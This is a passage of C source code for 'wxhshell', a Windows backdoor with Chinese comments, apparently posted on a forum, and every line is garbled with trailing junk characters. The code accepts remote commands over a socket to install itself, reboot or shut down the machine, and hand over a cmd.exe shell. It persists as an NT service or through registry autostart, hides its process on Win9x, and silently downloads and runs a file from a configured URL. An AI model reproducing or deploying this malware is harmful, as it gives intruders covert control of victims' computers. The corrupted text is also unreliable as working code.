  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EO|r   
  } Q7y6</4f  
  else { Z?%j5G=4w  
nI4xK  
    switch(cmd[0]) { T#lySev  
  `9Qr kkG+  
  // 帮助 FjUp+5  
  case '?': { 3I_"vk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cLQvzd:h=  
    break; /~_Cb= 7  
  } YkcX#>,  
  // 安装 ;3n0 bKDY  
  case 'i': { dt"[5;_P`  
    if(Install()) VA _O0y2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5L<}u` 0J  
    else I(8,D[G.m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6(4o}Sv  
    break; YbC6&_  
    } &DX9m4,y  
  // 卸载 kWfNgu$xK  
  case 'r': { t|*PC   
    if(Uninstall())  ?4 `K8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i3.8m=>  
    else [Cz.K?+#M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Exd_c9  
    break; 1Tn!.E *  
    } E<3hy  
  // 显示 wxhshell 所在路径 3zb;q@JV  
  case 'p': { AW LKve_  
    char svExeFile[MAX_PATH]; %r5&CUE5?  
    strcpy(svExeFile,"\n\r"); Y2Mti- \  
      strcat(svExeFile,ExeFile); s)HbBt-  
        send(wsh,svExeFile,strlen(svExeFile),0); JF*JF Ob  
    break; F9e$2J)C  
    } W%09.bF  
  // 重启 r^P}xGGK  
  case 'b': { "F+ 9xf&r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jkt L|u:k  
    if(Boot(REBOOT)) xPh%?j?*v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +G&h  
    else { ( $3j  
    closesocket(wsh); 'uUp1+  
    ExitThread(0); v@k62@;  
    } $ 8w eh3p  
    break; =JyYU*G4  
    } )2oWoZ vi9  
  // 关机 |xH"Xvp:  
  case 'd': { DR9M8E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M[_~7~4  
    if(Boot(SHUTDOWN)) xIF z@9+k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zQ {g~x  
    else { GI$t8{M  
    closesocket(wsh); ',0~\V  
    ExitThread(0); vjJ!d#8  
    } ]}9y>+>  
    break; #;H,`r  
    } QB@qzgEJ!,  
  // 获取shell N_L&!%s  
  case 's': { Bh*~I_Ta>  
    CmdShell(wsh); ,ewg3mYHC&  
    closesocket(wsh); ;,'!  
    ExitThread(0); kTex>1W;  
    break; 3h"; 2  
  } -3Vx jycY  
  // 退出  | qHWM  
  case 'x': { $BE^'5G&4Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ~u8}s4  
    CloseIt(wsh); aQN`C {nY  
    break; AnPm5i.  
    } /[[zAq{OA  
  // 离开 N)RWC7th{  
  case 'q': { 9Pd~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % @Ks<"9  
    closesocket(wsh); fB"3R-H?O  
    WSACleanup(); S#+G?I3w  
    exit(1); d"XS;;l%<  
    break; 5]; 8  
        } ;k7` `  
  } Dt1{]~30  
  } #X"\:yN  
v5w I?HE  
  // 提示信息 l4F4o6:]n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Gd[Qn83.%  
} *8/Q_w  
  } 2{p`"xX  
p/lMv\`5  
  return; j Xi<ZJ  
} nB,FJJ{kb  
T|ZZkNP|6  
// shell模块句柄 I2j;9Qcz  
int CmdShell(SOCKET sock) "MC&!AMv  
{ h%+8}uywZ  
STARTUPINFO si;  R76'1o  
ZeroMemory(&si,sizeof(si)); <$Uj ~jN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :`3b|u=KZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }jiqUBn%  
PROCESS_INFORMATION ProcessInfo; lbg6n:@  
char cmdline[]="cmd"; 7@EYF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cw"x0 RS  
  return 0; _gC<%6#V`r  
} EemKYcE@Nr  
c#"\&~. P  
// 自身启动模式 _5 tw1 >  
int StartFromService(void) 5B2x# m|8  
{ -#gb {vj  
typedef struct ZFW}Vnl  
{ {K3\S 0L  
  DWORD ExitStatus; jI;bVG  
  DWORD PebBaseAddress; q3NS?t!  
  DWORD AffinityMask; tx5_e [  
  DWORD BasePriority; GetUCb%1  
  ULONG UniqueProcessId; nZ\,ZqV  
  ULONG InheritedFromUniqueProcessId; aE#ZTc=  
}   PROCESS_BASIC_INFORMATION; Q(]-\L'  
&1Cq+YpI  
PROCNTQSIP NtQueryInformationProcess; d'[aOH4}  
;xB"D0~,1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :R_{tQ-WG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6-KC[J^Xo  
j&T/.]dX&  
  HANDLE             hProcess; N8D'<BUC  
  PROCESS_BASIC_INFORMATION pbi; QwT ]| 6>  
qZ\zsOnp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~d5"<`<^o  
  if(NULL == hInst ) return 0; _\]D<\St  
z(\H.P#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oSa FmP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 34;c00  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ac7`nvI=  
>D:S)"  
  if (!NtQueryInformationProcess) return 0; 6{7O  
XIjSwR kYJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GE5@XT  
  if(!hProcess) return 0; @bqCs^U35  
?sS'T7r v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J1R%w{  
&-b=gnT   
  CloseHandle(hProcess); -|)[s[T~m  
(6h7'r $  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,s)~Y p?<  
if(hProcess==NULL) return 0; Q.y KbO<[  
2OT6*+D  
HMODULE hMod; akCl05YW  
char procName[255]; M;iaNL(  
unsigned long cbNeeded; LWQ BGiJj  
f "&q~V4?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b%PVF&C9W  
}?fa+FQGp  
  CloseHandle(hProcess); /XMmE  
GrQl3 Xi  
if(strstr(procName,"services")) return 1; // 以服务启动 8V|-BP5^  
HJcZ~5jf  
  return 0; // 注册表启动 SD.ze(P  
} OT *W]f  
.ERO*Tj  
// 主模块 w`7l ;7[  
int StartWxhshell(LPSTR lpCmdLine) c=b\9!hr_E  
{ ^_=0.:QaW  
  SOCKET wsl; O,OGq0c  
BOOL val=TRUE; ;XtDz  
  int port=0; ]cA~%$c89s  
  struct sockaddr_in door; I9Sh~vTm=u  
~o2{Wn["  
  if(wscfg.ws_autoins) Install(); =0f8W=d:Vr  
{ a_L /"7  
port=atoi(lpCmdLine); -{7N]q)}  
&&y@/<t  
if(port<=0) port=wscfg.ws_port; =[jBOx&  
7J;.T%4 l  
  WSADATA data; =f|>7m.p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hy]AH)?pR  
fZ376Z:S$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KJ#c(yb9zR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8n:D#`K  
  door.sin_family = AF_INET; 5Y&@ :Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (qG$u&  
  door.sin_port = htons(port); 4[-9$ r  
)Z_i[1V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uB^]5sqfk  
closesocket(wsl); nx +& {hn(  
return 1; W1!eY,1}  
} Z0:BXtW  
Grub1=6l  
  if(listen(wsl,2) == INVALID_SOCKET) { +]e4c;`ko}  
closesocket(wsl); 5 O6MI4:  
return 1; FD-)nv2:  
} 5;Z~+$1  
  Wxhshell(wsl); ""a8eB 6  
  WSACleanup(); co@8w!W  
lz*2wGI9  
return 0; jFc{$#g-  
x!jhWX  
} Lf:Z (Z>  
)~n}ieS  
// 以NT服务方式启动 ' FK"-)s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wm,,OioK  
{ fE:2MW!)*  
DWORD   status = 0; [5 V  
  DWORD   specificError = 0xfffffff; z7_./ksQ  
jl@8pO$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <>:kAT,sP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M@K[i*e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5a~1RL  
  serviceStatus.dwWin32ExitCode     = 0; I|5OCTu  
  serviceStatus.dwServiceSpecificExitCode = 0; onlyvH4  
  serviceStatus.dwCheckPoint       = 0; 4<Y?#bm'  
  serviceStatus.dwWaitHint       = 0; \'KzSkC8  
QezK&iJg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L!G3u/  
  if (hServiceStatusHandle==0) return; zN:752d^+r  
Cf N; `  
status = GetLastError(); <>Im$N ai  
  if (status!=NO_ERROR) ,rdM{ r  
{ Ll`apKr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $d=lDN  
    serviceStatus.dwCheckPoint       = 0; z W _'sC  
    serviceStatus.dwWaitHint       = 0; YH>n{o;- ?  
    serviceStatus.dwWin32ExitCode     = status; ;@ e |}Gk  
    serviceStatus.dwServiceSpecificExitCode = specificError; :+=*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IviWS84  
    return; !:8!\gE ^P  
  } 6\K)\  
*+z({S_Nv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;1 fML,8  
  serviceStatus.dwCheckPoint       = 0; gc=e)j@  
  serviceStatus.dwWaitHint       = 0; 6xe |L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ep!.kA=\  
} (`p(c;"*C!  
dB5DJ:$W$  
// 处理NT服务事件,比如:启动、停止 uprQy<I@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U&XoT-p$L  
{ ]VME`]t`  
switch(fdwControl) `jHGNi  
{ fjFy$NX&>  
case SERVICE_CONTROL_STOP: =jN]ckn  
  serviceStatus.dwWin32ExitCode = 0; I}WJ0}R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c>SeOnf  
  serviceStatus.dwCheckPoint   = 0; 2$91+N*w9  
  serviceStatus.dwWaitHint     = 0; 1rEP)66N  
  { Xwi&uyvU&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9PAp*`J@kr  
  } p1nA7;B-m  
  return; hA8 zXk/'8  
case SERVICE_CONTROL_PAUSE: SD&[K 8-i2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f- <6T  
  break; 2YyZiOMSc  
case SERVICE_CONTROL_CONTINUE: d#\n)eGr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :9b RuUm  
  break; >g&`g}xZQ  
case SERVICE_CONTROL_INTERROGATE: +*V; f,  
  break; X3[!xMij  
}; :dzU]pk%0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +0 MKh  
} Sx2j~(pOr  
IoA;q)  
// 标准应用程序主函数 q*O KA5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YYHm0pc  
{ z@i4dC  
y#+o*(=fRE  
// 获取操作系统版本 ?la_ +;m  
OsIsNt=GetOsVer(); f#5JAR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J%)2,szn0  
w%;'uN_  
  // 从命令行安装 5[_8N{QC;  
  if(strpbrk(lpCmdLine,"iI")) Install(); o1Ln7r.  
zTLn*?  
  // 下载执行文件 Pcs@`&}7r  
if(wscfg.ws_downexe) { Q-v[O4 y~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lND[anB!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3p4?-Dd|_$  
} :3f2^(b~^  
&}O!l'  
if(!OsIsNt) { jvQ"cs$.  
// 如果时win9x,隐藏进程并且设置为注册表启动 dK: "  
HideProc(); e`r;`a&  
StartWxhshell(lpCmdLine); {P&^Erx  
} J~q+G  
else dI-5%Um  
  if(StartFromService()) ydQS"]\g  
  // 以服务方式启动 16|S 0 )  
  StartServiceCtrlDispatcher(DispatchTable); [Jo TWouNU  
else WFP\;(YV  
  // 普通方式启动 h86={@Le  
  StartWxhshell(lpCmdLine); 0K ?(xB  
YHYB.H)  
return 0; {O) &5  
}
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只看该作者 1 发表于: 2006-10-10
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